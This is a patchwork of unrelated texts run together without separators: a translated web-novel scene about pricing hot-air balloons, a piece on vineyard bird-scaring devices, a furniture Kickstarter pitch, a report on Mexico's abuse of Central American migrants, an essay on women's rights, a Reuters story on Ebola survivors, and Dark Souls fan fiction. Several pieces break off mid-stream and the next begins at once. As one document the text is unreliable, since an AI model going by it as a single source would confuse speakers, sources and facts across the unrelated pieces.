In case they didn’t use a witch to heat the air, the hot air balloon would need to use gas as fuel, and the most easily obtainable fuel would be coal gas. Unfortunately, Graycastle’s coal mines were located at the Cold-Wind Mountain Range, which was just too far away from Border Town. According to the transportation conditions, it would be impossible to transport it over. Turning the hot-air balloon into a hydrogen balloon would be much easier to achieve, but he had still to solve the problem of the gas tank – if it couldn’t be used unobstructed, then it wouldn’t be of any practical value.
“One thousand gold royals apiece, was it?” Margaret said then made a counter-offer, “If you really are able to make this, I can guarantee that all the caravans from the Fjords will buy at least one or two of them.”
“This time Crescent Moon Bay Caravan hadn’t come along. Otherwise I’m certain you would have received your next huge order,” Hogg grasped the liquor cup and drained it in one gulp. “I, however, won’t need such a balloon, even though they seem very magical, they don’t have any use for my mines in Silver City. I just want to get my steam engines as soon as possible.”
Hearing Margaret accepting his price made Roland pleased beyond his expectations. The one thousand gold royals were the price he got after increasing the estimated production costs by five times, he had never expected that the other party was able to accept a price twice the price of a steam engine. But when he thought about it again, a sea faring ship carrying all kinds of goods would probably be worth much more than this price, not to mention saving the entire merchant fleet and the lives of the ship’s crew, so long as they could avoid being looted by pirates, the deal would still be cost-effective for ocean traders.
Also, the thousand gold royals wouldn’t be the end of the deal, whether it was hydrogen or coal gas, they were both consumables. If they were used up, they would eventually need to come back to Border Town for a refill, which would then yield an additional revenue… Of course, in case they acquired the gas canisters in large quantity, giving them a discount or present them with several inflations for free could be considered. In this regards, he could use the 4s car shops and CPC and CNPC as an example and imitate them.
Roland pretended to hesitate for a moment before he finally nodding, “In that case, I think we have reached a deal.”
TN:
In China, authorized car dealership are called 4S car shops. The 4S represents Sale, Sparepart, Service and Survey. 整車销售(Sale)、零配件(Sparepart)、售後服务(Service)、信息反馈(Survey).
In most cases, brand-name new cars can be purchased only from 4S shops. For new cars in high demand, a high premium is added for instant delivery or just placing an order.
The profit of car dealers in China is quite high comparing to the rest of the world, in most cases 10%. This is supposedly due to the ‘non-transparent invoice price’ as announced by manufactures and to the premiums they charge for quick delivery. Due to the lack of knowledge for most customers, dealers can sell add-ons at much higher prices than the aftermarket.
There is no regulation by either the government or associations. Source
CNPC: China National Petroleum Corporation
CPC: CPC Corporation
For this scare tactic, Audrey and her husband, Steve, rig the vineyard with nifty speaker-transmitter systems known as Bird Gards. They use five. The devices can play variable cries of various predatory birds, including the red-tailed hawk and the feared peregrine falcon, a winged raptor that can speed to a sparrow’s throat at 200 miles per hour. Not only do these played-back calls keep small birds at bay, Steve says, they can also attract actual hawks who want to see what’s up. A Bird Gard can also play species-specific distress calls. Got pain-in-the-ass finches? Put in the right computer chip, and your speakers will serenade them with chirps and tweets that will trick those birds into staying away. This – a device that uses sound to repel animals – is called an Acoustic Harassment Device or an Auditory Deterrent Device (ADD). ADDs have been used on farms since at least the 1980s. They’re a clean, chemical-free solution. Even still, some like them, some don’t. It depends on the device.
Bird Gard has plenty of fans. After planting Bird Gards, Audrey says that all of Villa Milagro’s avian grape poachers fled but one. “We had this one bird that continued to feed,” she says, “so we sent a photo to Bird Gard’s headquarters in Oregon. They sent back a new chip. The bird stayed away.” It was a species of thrush. Now that the system cycles through thrush calls, they too stick to the woods.
Bird Gard claims to protect against crows, pigeons, robins, swallows, sparrows, rooks, finches, blackbirds, heron, geese, wild turkeys, and, in total, 100-plus species of birds. The folks at HQ can change up the calls on a system depending on which winged creatures are haunting you.
Other ADD devices exist. There are Bird Gard analogs for deer. Many of these motion-triggered contraptions emit ultrasound, sound that we can’t detect but deer can. Salmon farms in coastal Canada use underwater ADDs to keep seals from feasting on penned up fish. In experiments, ultrasonic ADDs have had some success in preventing bats from entering the orbit of wind turbines. Regular ADDs prevent birds from raising hell at airports and from crapping all over boats at marinas.
However, there is one very, very controversial ADD: the propane cannon.
You may have heard it. A colossal, apocalyptic booming that splits the sky and rumbles out like a peal of thunder. When I first heard the sound, I thought a hunter had just obliterated something with a shotgun rigged for sonic prowess. Birds darted out of the clearing where the cannon was.
How could they not? It sounded like Fort Sumter was about to be bombarded to powder. A propane cannon’s blast can easily hit 120 decibels. Some even reach 140, an obscenely loud level. The tripod-mounted cannons have proven successful in deterring animals in some cases and unsuccessful in others. Steve notes that smart birds can adapt to the boom.
Some neighbors, however, can’t. Imagine a cannon going off at random intervals within earshot of your living room. That could make for a relationship that even a sturdy fence couldn’t save. For that reason, groups such as the Oregon Winegrowers Association have developed best practices for using propane cannons – place as far as possible from neighbors, only fire during daylight, never aim at a pasture that livestock call home. But even this doesn’t satisfy some neighbors, who have joined forces to protest the noisiness of the cannons.
We use local sourcing to find our materials, supporting other small businesses and local makers. Reuse and redesign are an important standard to our work and our lives. Sustainability and post-consumer use of materials is what drives our business, design and products. It's what makes re:work work.
It all started with a stack of old barn wood a friend needed out of his driveway. So we put it in ours. After weeks, okay, months of deliberation about what to build we finally agreed. A large dining table for the new house we were moving into.
The Dining Table that started it all!
Now to be fair, Alex is not your average "handyman", he's able to build and fix almost anything. In fact, our first house he remodeled completely (demo, drywall, kitchen, concrete counter tops, bathrooms, porch, plumbing, you name it). As he started the remodeling and building, friends and family began to encourage him to start a business using his talents. And so Re:work Furnishings was born.
As we are growing, the smaller our shop (ahem, garage) is becoming. We currently keep all our reclaimed barn wood in a storage unit so we actually have room to build pieces in said shop. The orders are growing and the size of orders are growing. We want to keep up.
We need your help to improve our shop space! In addition we plan to open a showroom for client meetings, events and creativity. Let's take this to the next level.
Below are images of the reward items:
Coasters
Kickstarter EXCLUSIVE clock
Cutting Board
Mirror
An example of a table and benches we built, this one seats 14.
Here are more images of our work:
Open Kitchen Shelving
Stools at the Blowout Bar in Dublin
Tables at Watershed Distillery
Entry bench in a Colorado home
Walnut nesting tables in NYC
When he signed off on his border wall, still insisting Mexico pay for it, the indignation went off the scale.
Tens of thousands marched through Mexico City in opposition this Sunday while the government has earmarked $50m for consular protection for its citizens stateside.
President Enrique Pena Nieto has personally welcomed back some of the first to be deported under the Trump administration in a show of unity - and condemnation of the now even tougher stance against undocumented migrants of the US.
But the Mexican government's concern about how its citizens are treated in the US sits incongruously with its own attitude towards the migrants passing through Mexico which rights organisations have described as hypocritical.
In July 2014, the government unveiled a new plan called "Programa Frontera Sur" after the US exerted pressure on the country to stop a surge in the number of child migrants heading from Central America to the states.
'Invisible wall'
"Frontera Sur" was ostensibly designed to protect migrants, but it actually resulted in a noticeable increase in the number of checkpoints and border patrols in the south of the country. What analysts and activists have dubbed Mexico's own "invisible wall" succeeded in doubling the number of deportations from the country in the first full year of its implementation.
There's always been double talk - it seems that the Central American migrants don't matter, nothing is done to prevent the same human rights violations that Mexican migrants suffer in the US. Diego Lorente, lawyer
Those caught by authorities often end up in what is the biggest migrant detention centre in Latin America, built in the tropical border town, Tapachula. Here many people from Central American nations below Mexico like Honduras, El Salvador and Guatemala wait in the sweltering heat for their turn to be bussed back home.
Frequently, they are being sent back to grinding poverty, or the vicious gang violence that they fled in the first place.
In recent years, Honduras and El Salvador have both vied for the title of the world's most murderous country outside of a war zone.
NGOs have set up shop in the town to help some stay in Mexico.
Diego Lorente, a bearded lawyer who has been fighting for the rights of migrants for several years, told Al Jazeera there's a double standard in the Mexican authorities attitude towards migration.
"There's always been double talk - it seems that the Central American migrants don't matter, nothing is done to prevent the same human rights violations that Mexican migrants suffer in the US," Lorente said.
State authorities admit some Mexican officials are involved in the extortion, robbery, rape and even kidnapping of migrants. Alejandro Vila Chavez, the prosecutor for crimes against migrants in the southern state of Chiapas told Al Jazeera that last October his team burst open a ring of 21 local policemen who had kidnapped a group of migrants in the town of Chiapa de Corzo.
"They don't have the training to make them aware of their important duties," he said, speaking particularly about municipal police.
"Unfortunately, they lose sight of their role, using their authority and power in order to take advantage of migrants' vulnerability." Vila insisted that crimes against migrants in Chiapas were going down.
READ MORE: Central American mothers search for their missing sons
'Border security'
Nationally, the picture is different. A 2016 report from the human rights arm of the Organization of American States notes that "multiple cases involved the active participation of personnel from the National Migration office, municipal, state and federal police.
"A network of shelters for migrants, REDODEM, said that in 2015 officials committed 41 percent of the crimes against migrants they interviewed, 867 in total.
Federal authorities didn't respond to Al Jazeera's interview requests.
The complicity between some officials and Mexico's powerful gangs makes things more complicated still, particularly in the gulf states of Veracruz and Tamaulipas.
A "pollero", one of the guides that migrants pay to get them to the US border told Al Jazeera that in those states the Gulf Cartel and the Zetas demand a "tax" on everyone who passes through - a claim that migrants rights organisations have backed up.
READ MORE: Surviving Mexico's migrant trail
Even for those who pay, there is no guarantee of safety.
Migrants testify to having been raped, kidnapped and forced to work for organised crime. Deaths have also racked up. In one of the first, and worst, cases, 72 migrants were found shot dead in a ranch in Tamaulipas in August 2010. A survivor said they were executed by the Zetas after refusing to work for them.
Tens of thousands have simply disappeared. But, Mexican authorities often stonewall relatives trying to find out what has happened to them, according to Martha Sanchez Soler, head of the NGO "Movimiento Migrante Mesoamerica".
Sanchez Soler organises an annual caravan of Central Americans trying to find their loved ones.
"It's not convenient for the transit country [Mexico] to make known the crimes that are committed here, especially because there's lots of authorities that are colluding in them," she said, speaking to Al Jazeera during the last caravan in December 2016.
Rights groups have repeatedly said that the Programa Frontera Sur has directly increased the danger to migrants, by forcing them to cross isolated areas to evade checkpoints and patrols.
Despite the criticisms, the clampdown could actually represent one of Mexico's best bargaining chips in upcoming negotiations with the United States.
That's because by catching undocumented migrants further south, Mexico provides a valuable filter, stopping them from reaching the US. Recognising that, the US has itself contributed millions of dollars towards Mexico's southern border protection.
READ MORE: Cubans stranded in Central America try to reach the US
Mexico's former foreign minister, Jorge Castaneda, has suggested Mexico should play that card, threatening to simply let Central American migrants get through to the US if it does not get what it want on trade issues. Mexico's president, Enrique Pena Nieto himself has said he will "bring all the issues to the table", including "border security".
Illustration by Steven Belledin
When I say freedom, I don't mean anything fancy. I'm just talking about women's ability to control their destinies, by having things like access to jobs that give them financial independence from anyone else. Just for good measure, let's say that freedom also includes the opportunity to contribute to the political destinies of our communities by voting, holding office, and being given a chance to run important institutions. I'm not saying anything radical here. These are all pretty typical freedoms afforded to women in modern democratic countries, at least technically — and even to some women in non-democratic ones.
I used the word "technically" for a reason. As most people who have ever lived as women will tell you, many of these freedoms are difficult to achieve in practice. Women are not forbidden from having financial independence and leadership roles, but we still struggle to get them.
But that's not really news, and if you want to debate it, there are plenty of message boards that will welcome your thoughts. What I find more interesting is that women have had these freedoms for such an incredibly short period of time. Considering that humans have been creating systems of government for thousands of years, women's suffrage is like a blink of an eye. In the United States, where I live, women couldn't vote a century ago.
I have a picture of my great-grandmother Zadie Lee Rea sitting on my dresser, taken sometime around 1907. I often look into her sepia eyes, taking the measure of her wry grin, trying to figure out what she was thinking that not-so-long ago day in Weatherford, Texas, as she sat on the edge of a well and stared into the lens of a technology that was changing the world. Later in her life, she became one of the first female pharmacists in Texas. But at the time that picture was taken, she couldn't vote. She wouldn't be able to vote until she was 31 years old.
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There are two ways I could respond to this piece of information. I could swell with pride at all the progress in women's rights since Zadie Lee's time, celebrating the hard-won freedom that she and her generation secured for us today. Or I could, just as reasonably, look back in numb terror, counting how few generations separate me from women who had the same voting rights that my cats do right now. How easy it would be to take my rights away, turning the last century into a weird tangent in a history that has mostly featured women as what Zora Neale Hurston once called "the mules of the world."
What if democratic freedoms for women are just a strange historical hiccup, and the window of opportunity for women is already closing? I grew up in a pretty conservative area, and yet as a teenager I was taught that abortion was every woman's right, and that "blaming the victim" in rape cases was something that only those terrible people back in the 1950s had done. Now that I'm an adult, the 1950s don't seem so very long ago to me — especially when women who say they've been raped are pilloried and psychologically brutalized on the internet. And abortion rights are eroding in many U.S. states.
In other words, has my life been an historical exception rather than part of a major social change? It seems like these exceptions are the norm in women's history — all our stories of great women are about people who bucked the system and rose up for a time despite their centuries' versions of GamerGate.
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Schoolchildren learn about the powerful queens who ruled Egypt and England, their reigns sandwiched between centuries of male leadership. One of our greatest works of literature, the Tale of Genji, was written nearly a millennium ago by lady-in-waiting Murasaki Shikibu; but for the thousand years following her death, we mostly heard from guys. One of the most important mathematicians in classical antiquity, Hypatia, was a woman. Every other ancient mathematician we study today? Male. Hundreds of dangerous pirate captains sailed the high seas in the 16th century. But hey! One of them was a woman! The deep historical vantage point shows us thousands of years of female subjugation and silence, with a few lucky ladies becoming pirates, mathematicians, novelists and queens.
So what does that tell us about the future? As I said earlier, it can be a fairly depressing prospect. We see that women have gained freedom and lost it, over and over again. There is no smooth road from lack of freedom to total freedom. It is, as Le Tigre sang in relation to something related, "One step forward, five steps back."
But today, in the west, democratically-minded people are fond of saying that we'll never go back again. There will be no more millennia of women's silence because we've come too far. Education has brought enlightenment, and the countries that still prevent women from voting or owning property will eventually come around to our way of thinking.
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Could that really be? Have three generations of educated women with voting rights in dozens of countries finally cracked the back of history? I suppose it's possible that we really have changed the basic story of gender relationships on Earth. Maybe the twentieth century wasn't an aberration, but instead the culmination of centuries of often-invisible struggles, which finally exploded into political reality. I hope so.
* Survivors are believed to have immunity from Ebola
* Antibodies in their blood
* Powerful weapon in a fight against the virus.
By Michelle Nichols and James Harding Giahyue
CONAKRY/LIBERIA, Oct 27 (Reuters) - High school teacher Fanta Oulen Camara spent two weeks in March fighting for her life against the deadly Ebola virus but her darkest days came after she was cured of the disease and returned to her home in Guinea.
“Most of my friends stopped visiting. They didn’t speak to me. They avoided me,” the 24-year-old said. “I wasn’t allowed to teach anymore.”
The worst outbreak of Ebola on record has killed 5,000 people in West Africa, mostly in Guinea and neighbouring Liberia and Sierra Leone. But thousands more have survived, ostracised by fearful communities ravaged by the disease.
In the face of such stigmatization, Ebola survivors like Camara are joining an association in Guinea that assists the growing number of people who recover and seeks ways for them to help combat the disease.
Survivors are believed to have immunity from Ebola thanks to antibodies in their blood, making them a powerful weapon in a fight against the virus. A shortage of healthcare workers means weak West African governments are losing the battle to contain Ebola, despite pledges of hundreds of millions of dollars in foreign aid.
The virus is spread by the bodily fluids of victims, who bleed, vomit and suffer diarrhoea in its final stages. Ordinary medical and sanitary staff must wear heavy Personal Protective Equipment to prevent infection, denying scared patients the chance for human contact — but survivors do not have to.
Camara, who lost six members of her family to Ebola, works with medical charity Medecins Sans Frontieres at a clinic in Guinea’s dilapidated ocean-front capital Conakry.
“We share our own experience with those people, explaining that we were sick but now we have been cured,” Camara said. “We give them hope.”
In Liberia and Sierra Leone too, survivors are signing up to work in Ebola Treatment Units, to care for children orphaned by the disease, and to provide counselling to victims in an attampt to break the taboo surrounding the outbreak.
There is hope that blood from survivors can also be used as a serum to treat the disease. In Liberia, plans are underway to store survivors’ blood and the World Health Organization has said that treatment could start as early as December.
For Dr Oulare Bakary, who set up the survivors association three months after he beat Ebola, people who recover have an role to play in demystifying a virus that has caused a violent backlash, partly because it has never before struck West Africa.
Bakary was infected while treating patients in March, days before the mysterious virus in the forests of Guinea was confirmed as Ebola.
“Everyone has been facing stigma and rejection,” he said. “We needed to send a message to the people about the epidemic and also the possibility to be cured.”
He said that Camara’s story was all too common: not only had she lost her job, but when her brother went to his office, he was told to never come back as well. “It’s not only the survivors of Ebola, it’s their friends and families who are the collateral damage.”
U.S. DIPLOMAT HAILS SURVIVORS ROLE
The U.S. Ambassador to the United Nations, Samantha Power, who is touring the region to assess the global response, said dealing with the stigma and fear of Ebola was central to fighting it.
This was equally true in the United States, she said, where several states have implemented mandatory 21-day quarantine periods for healthcare workers returning from West Africa after four cases were diagnosed on U.S. soil.
“You’re actually a real asset because you uniquely know the human stakes of what others are going through,” Power said, at a meeting with survivors in Conakry’s Grand Mosque.
“These people could be integrated into the solution and instead they feel sadly like part of the problem,” she said.
In Liberia, where more than half the deaths have been registered, U.N. child agency UNICEF is enlisting survivors to help care for the rising number of children whose parents have either been killed or isolated in treatment units.
UNICEF estimates that 3,700 children have been orphaned by Ebola. Many of those who survive are deeply traumatized and terrified by anyone wearing protective equipment.
Only people who have survived the disease already can bring personal care to these terrified, yet possibly contagious, kids.
“Survivors can provide that kind of human touch that is so important,” said Sheldon Yett, Liberia country director for UNICEF. “They are the key ingredient to providing support to children.”
Kpetermeni Meinu and eight other survivors work with Ebola orphans at the Willing Heart Interim Care Center in Monrovia, supported by UNICEF. They bathe children, wash their clothes and monitor for signs of the virus.
Since he has been working there, five of the 17 children have developed symptoms of the virus and been taken to a treatment unit, he says. One young boy who remains, Anthony Sheriff, is terrified of strangers and medical staff.
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Part one
Aleorn was an Ashen like any other: lost, forlorn, alone in all things. His Darksign was the bond of his servitude, and like many before him, he sought to erase it; for while it was the exultant glory of life everlasting, it was also the cold, cruel shackles that bound him.
He was not quite hollow – his gaunt yet human features attested to that – yet he strode nigh senselessly through the bitter realms, for his was a life neither lightened by purpose nor driven by hate, but something far different and altogether worse: empty. Aleorn has no reason to live, and therefore he drew breath, his heart beat, his eyes glowed with life, yet he was no more alive than a carving of stone.
Then, he found purpose and hope again, a fellow Ashen garbed in the golden raiment of the Sunlight covenant. Twice he appeared before Aleorn, yet it was not until the Cinder Lords lay slain that he offered to remain by Aleorn’s side indefinitely. Aleorn assented without pause, for this was a chance to again know friendship, joy, and meaning; and these were more valuable to him than all the souls in Lordran. The Ashen adventured for a time, laying low even the mightiest of foes, sharing cries of triumph, and laughter once forgotten. These days were the most previous of all,
and like all things that we love,
Fate was all too happy to destroy it.
Part One
There was about Or’do a strangeness, a mysterious feeling of wrongness that defied reason; his infectious grin and easy laughter quickly dispelled the notion, yet it was always quick to return. Aleorn forcibly ignored it however, for he feared more than anything the loss of his only friend.
Lords fell and worlds were conquered, yet of course nothing changed. Or’do, distant at first, grew closer, warmer, yet the darkness around him only deepened. Then at last he revealed his secret, his smile fading and eyes cold, shadow clinging to him in spite of the bonfire’s comforting glow.
“There is no point in all this.” He murmured, gaze downcast, studying the embers.
“Of course there is.” Aleorn knew his words were hollow; they fell cold and empty from his lips, how could they ring any differently in the ears of his friend?
“No, and not even you believe that. Each world is only a gateway to the next, every foe a marionette that rises again as soon as our back is turned.”
Aleorn sensed that Or’do was goading him, that there was a response for which he yearned, but one of which he could not speak.
What does he want? He thought, confused.
“The cycle enslaves us.” Haunted eyes locked with Aleorn’s. “But I know how to end it.”
Aleorn felt a surge of frost pour through his veins. “Why?! If you end the cycle, return the void that lay before,” He trailed off. “So many would perish.”
“Aye.” Or’do’s eyes darkened. “I thought you would say as much.”
“But countless more would suffer if the cycle persisted!” Aleorn blurted; he did not believe the words he spoke, yet he forced them past his lips all the same. At first he did not realize why he cast forth the lie, yet of course when he reflected upon this moment in the dark days that followed, he knew at once the reason for his deception: fear. Not of Or’do, but of losing him.
Through this world of pain and darkness he had long stumbled, despair consuming him, devouring with flame cold as ice. He was hollowed not by madness, but anguish, for there was naught but pain in this world bleak and grey. Then this warrior of Sunlight has risen from the stones, beckoned to another solemn hour, yet jubilant as if each step was itself a wondrous thing, that all in this world merited laughter and hope. Aleorn was stunned by this outlandish man; it was not for some time before he realized that Or’do was his impeccable twin – if in appearance alone. Perhaps in his desperation, he had created the very saviour for which he had so long yearned.
Perhaps Or’do created him.
That infectious laugh and easy smile was to him a light brighter than the Sun itself and thrice so warm. Even these few days had mended his soul, had given him back the hope he had for so long yearned. To lose Or’do was to become again that dark warrior who stumbled through endless war, raising his eyes to the heavens only when he wept.
He was a man enslaved, bound as much by friendship as fear.
“I owe the Flame nothing” I cannot become that man again “It stripped away my identity, made of me a mindless wraith.”
“True, yet if you quench the Flame, eliminate the Darkness, your darksign will fade, and with it so shall you.” Or’do did not meet his eyes as he spoke, seemingly ashamed or perhaps mistrustful.
“When the cycle ends, so shall thy life.”
“What I have no is not life.” Aleorn stared into his hands, as if there lay an etching of awesome profundity upon his palms. “I am lost, mad, besieged with despair.” He looked up, locking eyes with Or’do. “But you have given me something to fight for, restored the purpose I lost so long ago.”
“Then you would renounce the Flame?”
I cannot be alone again “Yes.” He murmured. I cannot endure the despair, the solitude. “I forsake the Flame, as it has forsaken me.”
“Good.” Or’do sounded relieved. “Then I’ve a task for you.”
“Name it!” Aleorn flinched. Not so eager he chastised.
“Return to your shrine, and slay its Keeper.”
Aleorn stopped short. “Why?”
“She is a servant of the cycle, exists to ensure its continuity; need you a reason beyond that?”
Yes “No,” He lied. “I merely wondered at the reason.”
Or’do softened. “I do not command you, Aleorn, merely pose a request; those can be denied, my friend. Yet until you slay her, you will be unable to gain the power I have.”
“You” Aleorn thought. Thy peculiar manner of speech has already begun to corrupt me; could this be another – albeit subtle – act of defiance against the flame? “How will her murder strengthen me when she is the means by which I glean nourishment from devoured souls?”
Or’do extended a hand, and upon his palm black fire curled, hardening into a ring blacker than starless skies, baleful as gleaming steel. “You like I have reached the pinnacle of Ashen might; no matter how many souls you offer, she can strengthen you no further. You are in her eyes a blade honed to perfection; yet if you take her soul upon yourself, I can teach you to unlock your strength without her.”
I cannot “Is her death necessary?”
“Yes. Without it, the cycle will not end, for your potential will remain forever untapped. And, since she serves the cycle, if she learns of our treachery, our progress will be at least slowed by her attempts to stop us.”
She was the first creature to smile when she looked upon me. Her kindness gave me hope, if only for a moment. “If such is the price of ending our torment.” Aleorn rose. I sought for so long to repay her, yet now I must end her life; how can I do something so deplorable?
“It is.” Or’do rested a hand on his comrade’s shoulder. “Slaying her is the first step toward freedom, the first riven link that causes the chain to fail.”
Forgive me. Aleorn’s heart turned cold, his eyes hard as flint. My fear is too great. He nodded, then placed a hand on the coiled sword’s pommel, willing himself back to the nearest thing he had to a home. As the world faded, he felt part of himself darken with it. It is for the best, he thought. My betrayal would pain her more than steel ever could.
Why do I toy with him? Or’do rose, not banished from Aleorn’s world even when he himself had left it. Why can I not bring myself to destroy him as I have so many others? Absently, he scratched at his left forearm where two dozen stolen Darksigns lay.
I am a child of void. He closed his eyes as if this alone would quench the cold fire devouring his heart. I exist to slay their kind, to end the cycle and return the reign of emptiness forevermore.[/i Fingers of iron clanked against his palm; nails nigging into his flesh. [i]So why does it pain me? He raised his eyes heavenward. Why do I hesitate? Black flames rippled along his forearm, fanning around his trembling fist, dripping like blood from his knuckles.
Why do I care for him? A flash of memory, cold anguish crushing his heart.
Or’do lying on the stones, his body crumbling, his Voidsign sheared in two. The Soul of Cinder towers over him, blade held out wide, edge slick with his spilt life. Fear siezed him, yet he could not muster the strength to do anything more than raise a trembling hand. He watched with dimming eyes as the Soul drew back to strike, its gaze impassive, deadly.
In desperation he cried out to the Void as a child screams for its mother; he felt the wounded Sign, seared by Light, corrupted with Flame’s smouldering brand, spasm and convulse, straining to answer his plaintive cry. His vision turned black, then became speckled with points of light like bloodred stars: fallen Ashen whose corpses had not yet faded. The glimmering blade swept down from on high, hissing through the air like a striking viper, trailing a mist of glowing embers that stared upon him in silent condemnation. Its chill edge bit flesh, its frost slicing through him and bringing with it a world barren, black, and cold.
He woke with a start, leaping to his feet, stumbling as the unfamiliar legs betrayed him. A body he had stolen, a vessel whose master had departed. Or’do raised hands that were not his own, and stared into their worn palms. Sorrow drove its fingers of ice and fire into his heart, tearing from him the last spark of hope. Already kneeling, he had not far to fall when he collapsed, and with last breath pleaded Death take him.
Leather creaked as Or’do clenched his fist, bones grinding, tendons straining. Blood welled around his fingertips, staining black cloth a shade darker still. In that moment, I cared not for the fate of any beyond myself, but I knew at once what it was like for all those I had killed. Agony keen and fierce smote him like a tide of shattered glass. I gave no thought to your fate, perhaps I believed your false life would end at my hand like so many before you. Even when I rose upon your legs, took a breath with your lungs, I felt not the palest shade of remorse. He straightened, forcibly casting off guilt’s leaden mantle. And that is how it should be.
The Shrine seemed dour where once it was welcoming; its darkness deeper, its Bonfire dim and fitful. Light flared from the pile of smoulder bones, and amid those radiant tendrils, iron suddenly gleamed.
Aleorn rose smoothly, Or’do’s ring shimmering upon his fingers, gleaming like spilled blood as he closed his hand into a fist; yet try as he might, he could not summon the hatred that once fueled him. Ten steps he took, each heavy as crumbling towers, his heart growing colder with each beat, his eyes darker with each thought that flickered within.
When I stumbled here, the Soul of Gundyr burning within me, I was lost and afraid. He knelt before her, hand raised palm upward. I knew naught but pain and cruelty. Luminescence pale and innocent as virgin snow blazed in his hand; souls without their sovereign, straining to answer the Keeper’s call.
Then I looked upon you, my heart dark and barren, my world a tempest of blood and steel. He looked up, breaking his reverent stance.
I flinched when you met my gaze, Aleorn closed his hand, rising calmly, slowly, a tidal wave whose langour belies its might. But you smiled all the same. His hands shook, the ring’s power screaming to be unleashed. My world became warm and bright again. He clenched his fist tighter.
But you are a servant of the cycle, the reason for my suffering. Aleorn called to the ring, and at once it responded: strength surged through him, thrumming in his veins like four hearts beating in unision.
The cycle ends here. His heart felt as though its would tear itself asunder.
She was the only creature in all my travels to smile when she looked upon me. He wavered, yet the ring’s power would not be denied. Before he registered the movement he had werathed his hand in black fire, and thrust it into the space between her breasts, ripping through flesh and bone with so little resistance it seemed he struck nothing mroe than air. She gasped in pain and slumped against him, features contorted in agony. Around his arm, upon her flesh, a strange symbol appeared: a halo of white that reached with wispy arms in all directions – the Voidsign, a brand that would end the Keeper’s life, and prevent her from ever rising again. She cried out, and sorrow overwhelmed him, freezing his blood, stealing his strength.
Both collapsed to the stones, Aleorn tearing his hand from her crushed chest, holding her close as life fled.
This is how I repay her kindness? Her breaths – shuddering and weak – misted against his breastplate. What have I done?!
He felt her trembling in his embrace, shivering like a withered leaf upon long dead branch. She slumped against him, slimp and frail, her face pressed against his neck, her skin pale and cold. Then he felt her lips curve into the same gentle smile that once brightened his world, yet now only thrust it deeper into darkness.
She struggled to speak, and while the words had not breath to grant them substance, they smote him as if wrought of stone: “I forgive you, Ashen One.”
Then she was gone, and Aleorn was alone with his despair. He held her lifeless frame until all warmth had fled, and even still he clutched her, his shattered heart cold and hollow, its fractures deepening with each labored beat.
He knew not how much time had passed before he rose, carrying her from the Shrine like an infant curled in his arms. In the same grave from whence he had risen, he laid the one creature whose death had ever pained him, praying that she would find a more lasting rest there than he had.
“I’ve sacrificed you, that I might grow stronger, that I would never again feel the agony of loneliness.” He knelt beside the makeshift tomb, eyes closed and tears glimmering on their fringes.
“You forgive me,” He buried his face in his hands. “But I can never forgive myself.”
When Aleorn returned, it was in a mantle of darkness cold and heavy as lead. If he was surprised to find Or’do waiting for him unbidden, he hid it well, for he merely fell to his knees at the bonfire’s side, and stared into its glowing embers.
“It is done,” He rasped. “The Keeper’s soul is mine.”
“It hurt, did it not?” Or’do’s words were soft, kind. He knelt at his comrade’s side. “Her death pains you.”
“Yes,” Aleorn whispered. “I’ve killed thousands, devoured entire nation’s worth of souls, yet her death,” His voice broke and he turned plaintive eyes upon his companion. “Why does it torment me?”
“Because she was kind where so many were cruel. In a world bleak and dark, her smile was a breath of warmth and peace, a solace fleeting but no less lovely.”
“When we stride on to the next of these countless worlds, we shall find there another precisely as she was.” Aleorn wrung his hands, gaze haunted. “Her loss is temporary.”
“Strange, is it not?” Or’do rested a hand on Aleorn’s shoulder. “Flame sustains us, yet lies still burn our mouths.”
Aleorn looked up, confused.
“There will always be more Flames, and Keepers to attend them; yet none can replace what we have destroyed, not as she was. Our lonely hearts clung to the hope she represented, and any other bearing her face, speaking her voice, will be more insult than comfort.”
“Then why did we destroy her?!” A flash of light in his weary eyes. “Why did you demand that I take her life?”
Or’do merely gestured to the obsidian ring. “You have taken her soul, have you not yet used it?”
Aleorn shook his head. “How could I?”
To this he received a knowing nod.
“The pain will fade. You have done what was needed; pray claim thy reward, lest it wither forgotten.”
Upon his finger the ring gleamed, eagerly awaiting his decision, seeming to grow warm against his flesh, as if it were a thing alive, furious and desperate, struggling weakly. Indeed, he felt a faint pulse from it, light as the Keeper’s final breath. Sorrow washed over him once more, and he crumbled beneath its suffocating weight.
“I cannot.” He whispered. “Every time I try, I see her smile, watch again as it turns cold and still with death.”
“I understand.” Or’do silenced him with an upraised hand. “Torment yourself no more then.”
Aleorn nodded gratefully.
“Are you ready for one last fight?” Or’d asked, receiving a confused look by way of reply. “One last battle as an Ashen,” he clarified, “before you become something far stronger.”
“When I become that of which you speak, will I feel this agony still?”
“No, you will be consumed with unimaginable power, and in its razor edged tempest lose yourself if only for a moment.
A fist tightened in determination, a pall of darkness clouding once bright eyes. “Then let us be on our way.”
End of Part 1
Part 2
Aleorn smashed a fist of iron against a gaunt hollow, feeling its bones shatter like porcelain, its flesh tearing and sloughing away. The monster crumpled where it stood, dust fanning out from its crushed features, dark blood pooling around the ruin atop its withered neck.
“A potent blow” Or'do called; his resonant voice losing no volume despite the formidable distance it crossed. Or'do stood near the Dancer’s gate, hands cupped around his mouth to magnify his words. At the stairs’ end, where a secnod gate loomed, several hollows lay in scorched ruin, the force of Aleorn’s flows nearly severing their heads, the impact alone cracking armour of boiled leather, turning it and the body beneath into crumpled heaps that lay dark and melancholy upon the stones. “Yet you can do better.”
In the days since the Keeper’s death, Aleorn had not drawn upon her powers, at least not by conscious design. While he sensed not her strength, he felt his reservoir of souls diminish slightly with each blow. In an exchange of some sort, the Cinder within him flared with life and his attack gained cataclysmic force, yet the lives within him were burned away. No flame could burn without fuel, however, and the price was far outweighed by the reward.
I cannot do this. Aleorn nodded silently, sinking into a pugilist’s stance. On the ground before him, the slain hollow twitched, glowing from within as if a bonfire had been kindled among its ribs. Its chest exploded, flame and gore erupting as clawed fingers thrust forth, yellowed nails digging into the stones with sickening shrieks. Another hollow dragged itself into Aleorn’s world, drawn from one parallel by Or'do’s baffling power. Aleorn knew not how his comrade did this, and in truth, he cared little.
Her death has strengthened me. His fist crashed home, flattening the creature’s face with a reverberating crunch!
He turned dark eyes to the hill’s crest where Or'do stood, nodding his approval.
“Better still! One more, then we test thy newfound might upon a creature of more adequate strength.”
Aleorn bent in a half bow, unconsciously wreathing his hands in serpents of fire as he pivoted back to the many times reborn hollow. He wove fingers strong and cruel as steel into a two handed fist, and with its immense power staved in the hollow’s grey scalp before it had taken so much as a single step into its new world, a single breath of blood clogged air. It collapsed sidelong, thin wisps of smoke trailing from its seared flesh.
